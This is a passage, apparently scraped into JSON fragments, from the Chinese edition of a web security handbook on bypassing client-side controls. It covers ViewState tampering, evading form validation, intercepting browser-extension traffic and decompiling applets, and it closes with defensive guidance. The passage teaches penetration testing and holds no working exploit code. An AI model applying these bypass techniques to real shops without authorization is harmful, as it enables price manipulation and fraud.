Proxy提供一个指示ViewState是否受MAC保护的ViewState解析器，如图5-3所示。如果ViewState未受到保护，则攻击人员可以使用ViewState树下的十六进制编辑器在Burp中编辑ViewState的内容。在向服务器或客户端发送消息时，Burp将发送经过更新的ViewState，具体到前面的示例，这样就可以更改购物时商品的价格。 图5-3 如果未设置EnableViewStateMac选项，Burp Proxy可解码并显示ViewState，允许攻击者查看其内容并对它们进行编辑 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/shop/76/"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果要攻击ASP.NET应用程序，确定是否对ViewState启用了MAC保护。如果ViewState结构末尾存在一个20字节的散列，即表示应用程序启用了MAC保护。可以使用Burp Suite中的解析器确定上述散列是否存在。 （2）即使ViewState受到保护，还可以解码各种不同应用程序页面中的ViewState参数，了解应用程序是否使用ViewState通过客户端传送任何敏感数据。 （3）尝试修改ViewState中某个特殊参数的值，但不破坏它的结构，看看是否会导致错误消息。 （4）如果能够修改ViewState而不会造成错误，则应该分析ViewState中每个参数的功能，以及应用程序是否使用这些参数保存任何定制数据。尝试用专门设计的值代替每一个参数，探查常见的漏洞，就像检查通过客户端传送的其他数据项一样。 （5）注意，不同页面可能启用或禁用MAC保护，因此有必要测试应用程序的每一个重要页面，了解其中是否存在ViewState攻击漏洞。如果在启用被动扫描的情况下使用Burp Scanner, Burp将自动报告任何使用ViewState但未启用MAC保护的页面。 黑客攻防技术宝典：Web实战篇（第2版） 5.2 收集用户数据：HTML表单 应用程序使用客户端控件限制客户端提交的数据的另一个主要控制对象，是最初不由服务器指定，而是由客户端计算机自己收集的数据。 HTML表单是一种最简单、最常用的机制，主要用于从用户收集输入并将其提交给服务器。用户在已命名的文本字段中输入数据，再将它们以名/值对的形式提交给服务器，是这种方法的最基本应用。但是，表单还有其他用法，即对用户提交的数据施加限制或执行确认检查。当应用程序使用这些客户端控件作为安全机制，防御恶意输入时，攻击者通常能够轻易避开这些控件，致使应用程序非常易于受到攻击。 5.2.1 长度限制 下面对本章开头部分的HTML表单稍作修改，规定quantity字段的最大长度为1： 于是，浏览器将阻止用户在输入字段中输入任何超过1个字符的值，而且服务器端应用程序也认为它收到的quantity参数将小于10。但是，通过拦截提交表单的请求，并在其中输入任意 值；或拦截包含表单的响应，并删除maxlength属性，就可以轻易避开这种限制。 黑客攻防技术宝典：Web实战篇（第2版） 拦截响应 试图拦截并修改服务器响应时，攻击者可能发现代理服务器显示以下相关消息。 HTTP/1.1 304 Not Modified Date: Wed, 6 Jul 2011 22:40:20 GMT Etag: “6c7-5fcc0900” Expires: Thu, 7 Jul 2011 00:40:20 GMT Cache-Control: max-age=7200 产生这个响应是因为浏览器已经在缓存中保存了所请求资源的副本。当浏览器请求一个已存入缓存的资源时，它通常会在请求中添加另外两个消息头，分别为If-Modified-Since和If-None-Match消息头，如下所示： GET /scripts/validate.js HTTP/1.1 Host: wahh-app.com If-Modified-Since: Sat, 7 Jul 2011 19:48:20 GMT If-None-Match: “6c7-5fcc0900” 这些消息头告诉服务器浏览器上次更新缓存副本的时间。Etag字符串（由服务器随资源副本一起提供）是一种序列号，服务器为每个可缓存的资源分配一个Etag，如果资源被修改，它也会随之更新。如果服务器拥有比If-Modified-Since消息头中指定日期更新的资源，或者如果当前版本的Etag与If-None-Match消息头中指定的Etag不匹配，那么服务器就会在响应中提供最新的资源。否则，它将返回和本例相同的304响应，通知浏览器资源没有被修改，浏览器应使用缓存中的副本。 如果是这样，必须拦截并修改浏览器保存在缓存中的资源，可以拦截相关请求并删除If-Modified-Since和If-None-Match消息头，让服务器在响应中提供所请求资源的完整版本。Burp Proxy中有一个从每个请求中删除这些消息头的选项，可覆盖由浏览器发送的所有缓存信息。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）寻找包含maxlength属性的表单元素。提交大于这个长度但其他格式合法的数据（例如，如果应用程序要求数字，则提交一个数值）。 （2）如果应用程序接受这个超长的数据，则可以据此推断出服务器并没有采用客户端确认机制。 （3）根据应用程序随后对参数进行的处理，可以通过确认机制中存在的缺陷利用其他漏洞，如SQL注入、跨站点脚本或缓冲区溢出。 5.2.2 基于脚本的确认 HTML表单内置的输入确认机制极其简单，而且不够详细，不足以对各种输入执行相关确认。例如，用户注册表单中可能包含姓名、电子邮件地址、电话号码和邮政编码字段，所有这些字段都要求不同的输入。因此，开发者通常在脚本中执行定制的客户端输入确认。下面对本章开头的示例进行一些修改，以说明这个问题："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/shop/139/ form标签的onsubmit属性指示浏览器在用户单击“提交”按钮时运行ValidateForm函数，并且只有在该函数返回“真”时才提交表单。这种机制帮助客户端阻止提交表单的企图，对用户的输入执行定制的确认检查，进而决定是否接受该输入。上面示例中采用的确认机制极其简单，只检查在amout字段中输入的数据是否为介于1到50之间的整数。 这种类型的客户端控制非常容易解除，但通常足以禁用浏览器中的JavaScript。如果是这样，并且忽略onsubmit属性，那么，不需要任何定制确认就可以提交表单。 但是，如果应用程序依靠客户端脚本执行正常操作（如构造部分用户界面），完全禁用JavaScript可能会终止应用程序。另一种更加合理的办法是在浏览器的输入字段中输入一个良性（已知无恶意）值，然后用代理服务器拦截确认后提交的表单，并将其中的数据修改成想要的值。通常，这是解除基于JavaScript的确认的最简单有效的方法。 另外，可以拦截包含JavaScript确认程序（validation routine）的服务器响应，修改其脚本使其失效——在前面的示例中，更改每一个ValidateForm函数使其返回“真”即可。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定任何在提交表单前使用客户端JavaScript进行输入确认的情况。 （2）通过修改所提交的请求，在其中插入无效数据，或修改确认代码使其失效，向服务器提交确认机制通常会阻止的数据。 （3）与长度限制一样，确定服务器是否采用了和客户端相同的控件；如果并非如此，确定是否可利用这种情况实现任何恶意意图。 （4）注意，如果在提交表单前有几个输入字段需要由客户端确认机制检验，需要分别用无效数据测试每一个字段，同时在所有其他字段中使用有效数据。如果同时在几个字段中提交无效数据，可能服务器在识别出第一个无效字段时就已经停止执行表单，从而使测试无法到达应用程序的所有可能代码路径。 注解 使用客户端JavaScript程序确认用户输入的做法在Web应用程序中非常普遍，但这并不表示这种应用程序全都易于遭受攻击。只有当服务器并未采用和客户端相同的确认机制，以及能够避开客户端确认的专门设计的输入可在应用程序中造成某种无法预料的行为时，应用程序才存在风险。 在绝大多数情况下，在客户端确认用户输入有助于提高应用程序的性能，改善用户体验。例如，在填写详细的注册表单时，普通用户可能会犯许多错误，如忽略必要的字段或电话号码格式出现错误。如果不采用客户端确认机制，更正这些错误可能需要多次加载注册页面，反复向服务器传送消息。在客户端执行基本的确认检查可使用户体验更佳，减轻服务器的负担。 5.2.3 禁用的元素 如果HTML表单中的一个元素标记为禁用，它会在屏幕上出现，但以灰色显示，并且无法像常规控件那样编辑或使用。而且，提交表单时，表单也不向服务器传送这个元素。以下面的表单为例： 这个表单中的产品价格位于禁用的文本字段中，并出现在屏幕上，如图5-4所示。 图5-4 包含禁用的输入字段的表单 提交该表单时，应用程序只向服务器传送quantity参数。但是，存在禁用字段表示应用程序最初可能已经使用过price参数（可能在开发阶段用于测试目的）。这个参数很可能已经提交给服务器并经过应用程序处理了。在这种情况下，应当测试服务器端应用程序是否仍然会处理这个参数。如果确实如此，可以尝试对这种情况加以利用。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/shop/104/ 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）在应用程序的每一个表单中寻找禁用的元素。尝试将发现的每一个元素与表单的其他参数一起提交给服务器，确定其是否有效。 （2）通常，如果提交元素被标记为禁用，其按钮即以灰色显示，表示相关操作无效。这时应该尝试提交这些元素的名称，确定应用程序是否在执行所请求的操作前执行服务器端检查。 （3）注意，在提交表单时，浏览器并不包含禁用的表单元素；因此，仅仅通过浏览应用程序的功能以及监控由浏览器发布的请求并不能确定其中是否含有禁用的元素。要确定禁用的元素，必须监控服务器的响应或在浏览器中查看页面来源。 （4）还可以使用Burp Proxy中的HTML修改功能自动重新启用应用程序中的任何禁用的字段。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 5.3 收集用户数据：浏览器扩展 除HTML表单外，另一种收集、确认并提交用户数据的主要方法是使用在浏览器扩展中运行的客户端组件（如Java或Flash）。"},
    {"text": "如今，已经有越来越多的公司使用浏览器扩展来创建功能强大的客户端组件。 这些组件在浏览器中运行，跨越多个客户端平台，提供相关反馈，提高灵活性，并与桌面应用程序协作。"},
    {"text": "为了提高速度，在开发应用程序时可能需要“有意” 以牺牲安全为代价，这可能是因为开发者误以为交易者全都是可信用户，或者浏览器扩展会自行防御恶意企图。"},
    {"text": "如前所述，客户端控件并不可靠，因此，如果使用在潜在攻击者的机器上本地运行的浏览器扩展来执行在线赌博应用程序，这种做法将非常具有诱惑力。"},
    {"text": "如果游戏的任何一个部分由客户端而非服务器控制，攻击者就可以非常精确地对游戏进行控制，以提高获胜机率、改变规则、或更改返回给服务器的得分。"},
    {"text": "因为Java在Web发展的早期就已存在，并且其核心概念仍基本不变，因此，有大量知识和工具可用于对Java applet实施攻击或进行防御（如本章后面部分所述）。"},
    {"text": "2．Flash Flash对象在Flash虚拟机中运行。 和Java applet一样，Flash也要在主机上的沙盒中运行。 此前，Flash主要用于传送动画内容。 但随着较新版本的ActionScript的推出，现在Flash已经能够传送成熟的桌面应用程序。 Flash最近的主要更新为ActionScript 3以及采用动作信息格式（AMF）序列 化的远程功能。"},
    {"text": "5.3.2 攻击浏览器扩展的方法 针对使用浏览器扩展组件的应用程序实施攻击时，需要采用以下两种常用的技巧。 首先，可以拦截并修改浏览器扩展组件提出的请求及服务器的响应。"},
    {"text": "5.3.3 拦截浏览器扩展的流量 如果浏览器已配置为使用拦截代理服务器，并且应用程序使用浏览器扩展加载客户端组件，这时，该组件提出的请求将经过代理服务器。"},
    {"text": "在需要避开在浏览器扩展中实施的客户端输入确认的情况下，如果组件以透明方式向服务器提供经过确认的数据，那么，如5.2节所述，可以使用拦截代理服务器修改这些数据。"},
    {"text": "如果希望修改这些数据，以破坏应用程序的处 理过程，首先，需要解压缩序列化内容，对其进行必要的编辑，然后重新对其进行序列化处理。 几乎可以肯定，直接编辑原始的序列化数据将破坏其格式，并在应用程序处理请求时导致解析错误。"},
    {"text": "因此，通常渗透测试员可以根据所采用的客户端组件推断出相关数据的序列化格式，但是，任何时候，仔细检查相关HTTP消息才能确认序列化格式。"},
    {"text": "通常，包含序列化Java对象的消息很容易辨别，因为它们使用以下Content-Type消息头： 使用代理服务器拦截原始的序列化数据后，就可以通过Java对这些数据进行去序列化处理，以查看其中包含的原语数据项。"},
    {"text": "图5-5 Burp Suite支持AMF格式并允许查看和编辑去序列化数据 Silverlight序列化 Silverlight应用程序能够利用.NET平台内置的Windows通信基础（WCF）远程框架。"},
    {"text": "可以通过以下Content-Type消息头辨别该格式： Burp Proxy中的一个插件能够自动对NBFS编辑的数据进行去序列化，然后在Burp的拦截窗口中显示这些数据。"},
    {"text": "用于Burp的WCF 二进制SOAP插件由Brian Holyfield开发，可以从以下URL下载该插件： 2．拦截浏览器扩展流量时遇到的障碍 如果浏览器已设置为使用拦截代理服务器，代理服务器可能并不会拦截，或无法拦截浏览器扩展组件提出的请求。"},
    {"text": "之所以出现这种情况，可能是由于组件的HTTP代理或SSL出现问题，或者二者同时出现问题。 一般情况下，通过仔细配置代理服务器可解决这个问题。 第一个问题是，客户端组件可能并不执行在浏览器或计算机的设置中指定的代理配置。 这是因为组件可能会在浏览器本身或扩展框架提供的API以外发出它们自己的HTTP请求。 出现这种情况仍然可以拦截组件的请求，但需要修改计算机的hosts文件以实现拦截目的，同时将代理服务器配置为支持匿名代理，并自动重定向到正确的目标主机。"},
    {"text": "即使代理服务器使用的是一般自签名证书，并且浏览器已配置为接受这类证书，但浏览器扩展组件仍有可能拒绝此类证书。 这可能是因为浏览器扩展组件不接受浏览器在暂时可信的证书方面的配置，或者因为组件本身以编程方式要求拒绝接受不可信的证书。"},
    {"text": "无论是哪一种原因，都可以将代理服务器配置为使用一个主CA证书（用于为访问的每个站点的每台主机签署有效的证书），并在计算机的可信证书库中安装该CA证书，从而解决这个问题。"},
    {"text": "（4）如果应用程序执行不得由客户端组件执行的任何关键逻辑或事件（如在赌博应用程序中发牌或摇骰子），这时，可以寻找执行关键逻辑和与服务器通信之间的任何联系。"},
    {"text": "5.3.4 反编译浏览器扩展 迄今为止，在对浏览器扩展组件实施攻击时，最彻底的方法，是反编译对象、对源代码进行全面分析、修改源代码（如有必要）以改变对象的行为，然后重新编译源代码。"},
    {"text": "字节码是一种由相关解释器（如Java虚拟机或Flash播放器）执行的、不依赖于特定平台的高级二进制表示形式，每种浏览器扩展技术都使用它们自己的字节码格式。"},
    {"text": "但是，字节码可能采用了各种防御机制，以防止反编译，或者输出非常难以理解或解释的反编译代码。 尽管字节码采取了上述防御机制，但是，在理解和攻击浏览器扩展组件时，反编译字节码仍然是首选方法。"},
    {"text": "如果浏览器已加载某个组件的字节码，那么，即使完全刷新使用该组件的页面，浏览器也不会再次请求该组件。 在这种情况下，可能需要完全清除浏览器的缓存，关闭每一个浏览器实例，然后启动新的浏览器会话，才能强制浏览器再次请求字节码。"},
    {"text": "提示 如果已在Burp Proxy历史记录中确定了与字节码有关的请求，并且服务器的响应中包含完整的字节码（而没有引用以前缓存的副本），这时，可以将字节码直接保存到Burp内的文件中。"},
    {"text": "最可靠的方法是选择响应查看器中的“标题”（Herders）选项卡，右键单击包含响应主体的下方窗格，然后从上下文菜单中选择“复制到文件”（Copy to File）。"},
    {"text": "实际的反编译字节码需要使用一些特定的工具，这些工具因所采用的浏览器扩展技术的类型而异，我们将在以下几节介绍这些工具。 Java工具 Java字节码可以使用称为Jad（Java反编译器）的工具反编译成Java源代码，该工具的下载地址如下： Flash工具 Flash字节码可以反编译成ActionScript源代码。"},
    {"text": "Silverlight 工具 Silverlight字节码可以使用一种称为.NET Reflector的工具反编译成源代码，该工具的下载地址为： www.red-gate.com/products/dotnet-development/reflector/ 3．分析源代码 获得组件的源代码或类似代码后，就可以采取各种方法对其实施攻击。"},
    {"text": "在浏览器中重新编译并执行 要改变组件的行为，可以对反编译得到的源代码进行修改，重新将其编译成字节码，然后在浏览器中执行修改后的组件。"},
    {"text": "对于Java和Silverlight，需要用修改后的字节码文件替换已解压的档案中的文件，使用zip实用程度重新压缩这些文件，然后根据需要将文件扩展名更改为.jar或.xap。"},
    {"text": "正常情况下，这种方法很难奏效，因为更改加载组件的域可能会违反浏览器的同源策略，而且可能需要重新配置浏览器，或采用其他方法弱化同源策略。"},
    {"text": "可以使浏览器从原始服务器重新加载组件（如5.3.4节所述），使用代理服务器拦截包含可执行文件的响应，并用修改后的版本替换消息主体。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用上述技巧下载组件的字节码，解压字节码，然后将其反编译成源代码。 （2）查看相关源代码，了解组件的执行过程。 （3）如果组件包含任何可进行操纵以实现目的的公共方法，可以拦截与该组件交互的HTML响应，并在其中添加一些JavaScript，以使用输入调用相应的方法。 （4）如果组件中不包含公共方法，可以通过修改组件的源代码，重新编译修改后的代码，然后在浏览器中或作为独立的程序执行这些代码，从而达到目的。 （5）如果组件用于向服务器提交模糊或加密数据，则可以使用修改后的组件向服务器提交各种经过适当模糊处理的攻击字符串，以探查其中的漏洞，就像针对任何其他参数实施攻击一样。 4．字节码模糊处理 由于攻击者可轻松反编译字节码以恢复其源代码，因而人们开发出各种技巧来对字节码进行模糊处理。经过模糊处理的字节码更难以反编译，或者反编译后得到的是可能造成误导或无效的源代码，这些代码非常难以理解，不投入大量精力无法进行重新编译。以下面经过模糊处理的Java源代码为例： 常用的模糊处理技巧包括以下几种。 用没有意义的表达式（如a、b、c）代替有意义的类、方法和成员变量名称。这迫使阅读反编译代码的攻击者只有通过研究表达式的使用方法才能确定它们的用途，因此他们很难明白这些表达式的作用。 更进一步，一些模糊处理工具用new和int之类的保留关键字代替项目名称。虽然从技术上讲，这种字节码是非法的，但大多数虚拟机（VM）允许使用这种非法代码，并正常执行它们。不过，尽管反编译器能够处理非法字节码，但这样得到的源代码比前一种方法生成的源代码更加难以阅读。更重要的是，如果不投入大量精力对非法命名的数据项统一进行重命名，就不能重新编译源代码。 许多模糊处理工具删除字节码中不必要的调试和元信息，包括源文件名和行号（使桟追踪缺乏信息）、局部变量名称（使调试更麻烦）和内部类信息（使反射无法正常进行）。 增加多余的代码，以看似有用的方式建立并处理各种数据，但它们与应用程序的功能实际使用的数据并无关系。 使用跳转指令（jump instruction）对整个代码的执行路径进行令人费解的修改，致使攻击者在阅读反编译得到的源代码时无法判别执行代码的逻辑顺序。 引入非法的编程结构，如无法到达的语句和缺少return语句的代码路径。大多数VM允许在字节码中出现这种结构，但如果不更正非法代码，就无法重新编译反编码得到的源代码。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 应对字节码模糊处理的有效策略取决于所分析的源代码使用的技巧和目的。以下提供一些建议。 （1）不必完全理解源代码，只需查看组件中是否包含公共方法。哪些方法可以从JavaScript中调用，它们的签名是什么，这些内容应显而易见。可以通过提交各种输入测试上述方法的行为。 （2）如果已经使用无意义的表达式（并非编程语言保留的特殊关键字）代替类、方法和成员变量名称，可以使用许多IDE中内置的重构功能（refactoring functionality）帮助理解代码。通过研究数据的用法，可以给它们分配有意义的名称。IDE中的rename工具可以帮助完成许多工作，在整个代码库中追踪数据的用法并对每一个数据进行重命名。 （3）选择适当的选项，在模糊处理工具中再次对模糊处理后的字节码进行模糊处理，这样即可撤销许多模糊处理。Jode是一种实用的模糊处理工具，它可删除由其他模糊处理工具添加的多余代码路径，并可为数据分配唯一的名称，为理解模糊处理后的名称提供帮助。 5．Java applet：可用示例 下面以一个在Java applet中执行输入确认的购物应用程序为例，简要说明如何反编译浏览器扩展。 在这个示例中，提交用户请求的订购数量的表单如下所示： 以数量2提交该表单时，请提出以下请求： 如以上HTML代码所示，提交表单时，确认脚本会向一个名为CheckQuantity的Java applet传递用户提供的数量和obfpad参数的值。很明显，applet会执行必要的输入确认，并向脚本返回经过模糊处理的数量，然后脚本再将该数量提交给服务器。 由于服务器端应用程序确认订购数量为两件，因此，很明显，quantity参数会以某种形式包含我们请求的值。但是，如果我们尝试在不了解模糊算法的情况下修改该参数，攻击将会失败，因为服务器无法正确解析我们提交的经过模糊处理的值。 在这种情况下，可以使用之前介绍的方法反编译Java applet，以此了解它的工作机制。首先，需要从HTML页面的applet标签中指定的URL下载applet的字节码： 由于可执行文件没有打包成jar文件，因此，不需要解压这个文件，可以直接到下载的.class文件运行Jad： Jad将经过反编译的源代码输出为jad文件，可以在任意文本编辑器中查看该文件： 如经过反编译的源代码所示，Jad进行了大量的反编译工作，而且该applet的源代码非常简单。使用用户提供的quantity参数和应用程序提供的obfpad参数调用doCheck方法时，applet首先确认该数量是否为介于1到50之间的有效数字。如果数字有效，它会使用URL查询字符串格式创建一个由名/值对组成的字符串，在其中包含经过确认的数量。最后，它使用应用程序提供的obfpad字符串对以上创建的字符串执行XOR操作，对该字符串进行模糊处理。这是一种相当简单而常用的方法，它通过对数据进行基本的模糊处理来防止简单的篡改操作。 关于如何反编译和分析浏览器扩展组件的源代码，我们已经介绍了各种方法。在此示例中，解析applet的最简单方法如下所示： （1）修改doCheck方法，取消输入确认，以便于将任意字符串作为数量提交给服务器； （2）添加一个main方法，用于从命令行执行经过修改的组件。该方法将调用经过修改的doCheck方法，并在控制台打印经过模糊处理的结果。 进行这些更改后，源代码如下所示： 经过修改的组件以任意数量（999）提供经过模糊处理的有效字符串。需要注意的是，可以在此处使用非数字输入，探查应用程序中是否存在各种基于输入的漏洞。 提示 Jad程序以.jad扩展名保存其反编译的源代码。但是，如果希望修改并重新编译源代码，需要用.java扩展名重命名每个源文件。 最后，需要使用Java SDK自带的javac编译器重新编译源代码，然后从命令行执行经过修改的组件： 现在，经过修改的组件已对我们提交的任意数量（999）进行了必要的模糊处理。要对服务器实施攻击，只需使用有效的输入以正常方式提交订单，使用代理服务器拦截生成的请求，并用经过修改的组件提供的数量替换经过模糊处理的数量。需要注意的是，如果应用程序在每次加载订单时都发布一个新的模糊包（obfuscation pad），需要确保返还给服务器的模糊包与同时提交的用于对数量进行模糊处理的模糊包相匹配。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 以下示例演示了上述攻击以及使用Silverlight和Flash技术的对应攻击： http://mdsec.net/shop/154/ http://mdsec.net/shop/167/ http://mdsec.net/shop/179/ 5.3.5 附加调试器 要了解和攻击浏览器扩展，反编译是最全面可靠的方法。但是，对于包含成千上万行代码、功能复杂的大型组件而言，观察组件的执行过程，并将其中的方法和类与界面中的关键功能进行关联，往往会更加简单。而且，采用这种方法还可以避免在解释和反编译经过模糊处理的字节码时遇到的困难。通常，只需要执行某项关键功能，更改其行为，以消除在组件中实施的控件，即可达到特定目的。 由于调度器在字节码级别运行，因此，可以使用调试器轻松控制并了解组件的执行过程。具体而言，如果可以通过反编译获得源代码，就可以在特定的代码行设置断点，并通过观察组件在执行过程中采用的代码路径来判定通过反编译获得的信息是否正确。 虽然针对所有浏览器扩展技术的高效调试器尚不成熟，但Java applet能够为调度提供有效支持。JavaSnoop是目前最高效的调度器。JavaSnoop是一款Java调试器，它能够与Jad集成，以用于反编译源代码、在应用程序中跟踪变量，并在方法中设置断点来查看和修改参数。JavaSnoop可用于直接“钩住”在浏览器中运行的Java applet（如图5-6所示），并可用于篡改方法的返回值（如图5-7所示）。 图5-6 JavaSnoop可以直接“钩住”在浏览器中运行的Java applet 图5-7 确定适当的方法后，可以使用JavaSnoop篡改方法的返回值 注解 在加载目标applet之前，最好首先运行JavaSnoop。JavaSnoop将取消Java安全策略设置的限制，以便于针对目标执行操作。在Windows中，JavaSnoop通过向系统中的所有Java程序授予各种权限来取消限制，因此，在执行操作后，需要确保完全关闭JavaSnoop并恢复相关权限。 JSwat是另一个Java调试工具，该工具提供大量配置选项。有时，在包含许多类文件的大型项目中，最好是反编译、修改并重新编译关键的类文件，然后使用JSwat将其“热包装”到正在运行的应用程序中。要使用JSwat，需要使用JDK中的appletviewer工具启动一个applet，然后将JSwat连接到该applet。例如，可以使用以下命令： 处理Silverlight对象时，可以使用Silverlight Spy工具监视组件在运行时的执行情况。在将相关代码路径关联到用户界面中的事件时，该工具可提供很大的帮助。下载Silverlight Spy的URL如下所示： 5.3.6 本地客户端组件 一些应用程序需要在用户的计算机中执行基于浏览器的VM沙盒内无法执行的操作。根据客户端安全控制，以下是这类功能的一些示例： 验证用户是否装有最新的病毒扫描器； 验证代理服务器设置及其他企业配置是否有效； 集成智能卡读取器。 通常，这些操作需要使用本地代码组件，这些组件将集成本地应用程序功能和Web应用程序功能。本地客户端组件一般通过ActiveX控件传送。ActiveX控件是在浏览器沙盒以外运行的定制浏览器扩展。 由于没有对应的中间字节码，相比于其他浏览器扩展，解译本地客户端组件要困难得多。但是，我们在避开客户端控件时采用的方法对于本地客户端组件仍然适用，不过，这时需要采用一组不同的工具。以下是用于完成这个任务的一些常用工具： OllyDbg是一个可用于遍历本地可执行代码、设置断点，并在磁盘上或在运行时对可执行文件应用补丁的Windows调试器。 IDA Pro是一个反汇编程序，它可以将大量平台上的本地可执行代码反汇编成人类可读的汇编代码。 虽然我们不会在本书中详细介绍有关逆向工程的信息，但是，如果你希望详细了解逆向工程本地代码组件及相关主题，下面是一些有用的资源： Reversing: Secrets of Reverse Engineering , Eldad Eilam 著； Hacker Disassembling Uncovered , Kris Kaspersky著； The Art of Software Security Assessment , Mark Dowd、John McDonald 和 Justin Schuh 著； Fuzzing for Software Security Testing and Quality Assurance (Artech House Information Security and Privacy) , Ari Takanen、Jared DeMott和Charlie Miller著； The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler , Chris Eagle著 [1] ； www.acm.uiuc.edu/sigmil/RevEng ； www.uninformed.org/?v=1&a=7。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 5.4 安全处理客户端数据 如前所述，由于客户端组件和用户输入不在服务器的直接控制范围内，Web应用程序的核心安全面临威胁。客户端及其提交的所有数据从本质上讲都不值得信任。 5.4.1 通过客户端传送数据 许多应用程序之所以存在缺陷，是因为它们通过客户端以危险的方式传送产品价格和折扣率之类的重要数据。 如果可能，应用程序应完全避免通过客户端传送这类数据。在几乎任何一种可能出现的情况下，都可以将这类数据保存在服务器上，并在必要时通过服务器端逻辑直接引用。例如，接受用户购买各种产品而提交的订单的应用程序应允许用户提交产品代码和数量，并在服务器端数据库中查询每一种产品的价格。用户没有必要向服务器提交产品价格。即使应用程序向不同的用户提供不同的价格或折扣，也不必抛弃这种模型。价格可按用户分类保存在数据库中，而折扣率则保存在用户资料或会话对象中。应用程序已经拥有计算某一特殊用户所购买的某种产品的价格所需的一切信息——在不安全的模型中，它必须（除非无法做到）将这个价格保存在一个隐藏的表单字段中。 如果开发者认为他们别无选择，只有通过客户端传送重要数据，那么应当对数据进行签名与/或加密处理以防止用户篡改。采用这种操作还必须避免两个重要的威胁。 签名或加密数据可能易受重传攻击（replay attack）。例如，如果在将价格保存到隐藏表单之前对其进行加密，攻击者就可以用一个更加便宜的产品的加密价格代替最初的产品价格。为防止这种攻击，应用程序需要在加密数据中包含足够的上下文，以防止攻击者在另一种情况下重新传送产品价格。例如，应用程序可以将产品代码和价格组合在一起，将得到的字符串单独加密，然后确认随订单提交的加密字符串是否与被订购的产品完全匹配。 如果用户知道并/或能够控制送交给他们的加密字符串的明文值，那么他们就可以实施各种密码攻击，找出服务器使用的加密密钥。之后，他们就能够用密钥加密任意值，完全避开解决方案提供的保护。 对于在ASP.NET平台上运行的应用程序而言，建议决不要将任何定制数据以及任何你不希望在屏幕上向用户显示的敏感数据保存在ViewState中。应总是激活用于启用ViewState MAC的选项。 5.4.2 确认客户端生成的数据 从理论上讲，客户端无法安全确认由客户端生成并且向服务器传送的数据。 可轻易避开HTML表单字段和JavaScript之类的轻量级客户端控件，无法保障服务器收到的输入的安全性。 在浏览器扩展组件中执行的控件有时更难以避开，但这种控件只能暂时阻止攻击者入侵。 使用经强化模糊处理或压缩的客户端代码增添了另一层障碍，但是，蓄意攻击者还是能够克服这些障碍。（其他领域的类似处理是使用DRM技术防止用户复制数字媒体文件。许多公司在客户端控件上投入大量资金，但每一种新型解决方案通常在不久后就被攻破。） 确认客户端生成数据的唯一安全方法是在应用程序的服务器端实施保护。客户端提交的每一项数据都应被视为危险和潜在恶意的。 错误观点 有时候，人们认为使用任何客户端控件必然会造成不利影响。一些专业渗透测试员甚至把使用客户端控件看作是一个“重大发现”，并不检验服务器是否使用这些控件或者使用它们是否出于非安全考虑。实际上，尽管本章描述的各种攻击能够产生严重的安全警告，但在许多情况下使用客户端控件并不会造成任何安全漏洞。 客户端脚本可用于确认输入，以提高可用性，避免与服务器来回通信。例如，如果用户输入的出生日期格式不正确，通过客户端脚本向他们提出警报可提供更加无缝的使用体验。当然，应用程序必须对之后提交给服务器的数据进行重新确认。 有些时候，客户端数据确认可以与安全措施一样有效——例如，通过它防御基于DOM的跨站点脚本攻击。但是，许多时候攻击的直接目标是另一名应用程序用户，而不是服务器端应用程序。而且，利用潜在的漏洞不一定需要向服务器传送任何恶意数据。请参阅第12章和第13章了解有关这种情形的详细内容。 如前所述，有许多方法可通过客户端传送加密数据，而不会遭到破坏或重传攻击。 5.4.3 日志与警报 虽然应用程序采用长度限制和基于JavaScript的确认之类的机制来提高性能与可用性，但这些机制应与服务器端入侵检测防御工具组合使用。对客户端提交的数据进行确认的服务器端逻辑应认识到，客户端也采用了同样的确认机制。如果服务器收到已被客户端阻止的数据，应用程序可能会据此推断，一名用户正设法避开这种确认，因此这些数据可能是恶意的。应用程序应将异常记录到日志中，适当情况下向应用程序管理员发出实时警报，以便他们能够监控任何攻击企图，并在必要时采取适当的行动。应用程序还会主动采取防御措施，终止用户会话或者暂时冻结其账户。 注解 有些时候，虽然用户的浏览器禁用JavaScript，但他们仍然能够使用采用JavaScript的应用程序。出现这种情况，主要是因为浏览器完全忽略了基于JavaScript的表单确认代码，提交的是用户输入的原始信息。为避免错误警报，日志与警报机制应了解这种情况会在什么地方出现，会如何发生。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 5.5 小结 几乎所有的客户端-服务器应用程序都必须接受这样一个事实，即客户端组件和其中发生的所有处理过程都不像我们期待的那样值得信任。如前所述，如果应用程序使用“透明的”通信方法，那么即使经验尚浅的攻击者使用简单的工具都能轻易避开客户端执行的大多数控件。就算是应用程序对客户端数据和操作进行模糊处理，蓄意破坏的攻击者仍然能够突破这些防御。 如果确定任何通过客户端传送的数据，或确认客户端正在执行用户提交的输入，应该测试服务器如何应对避开那些控件的意外数据。许多时候，由于应用程序认为客户端执行的防御能够为其提供保护，因而面临重大威胁。 黑客攻防技术宝典：Web实战篇（第2版） 5.6 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）通过客户端传送的数据如何阻止破坏性攻击？ （2）应用程序开发者希望阻止攻击者对登录功能发动蛮力攻击。由于攻击者可能以多个用户名为目标，开发者决定将登录尝试失败次数保存在一个加密cookie中，阻止任何失败次数超过5次的请求。有什么办法能够避开这种防御？ （3）某一应用程序包含一个执行严格访问控件的管理页面。该页面上有一个连接到另一台Web服务器的诊断功能链接，只有管理员能够访问这些功能。不执行另一种验证机制，下列哪一种（如果有的话）客户端机制可用于为诊断功能提供安全的访问控件？要选择一个解决方案，还需要了解其他信息吗？ （a）诊断功能能够检查HTTP Referer消息头，证实请求由主管理页面提交。 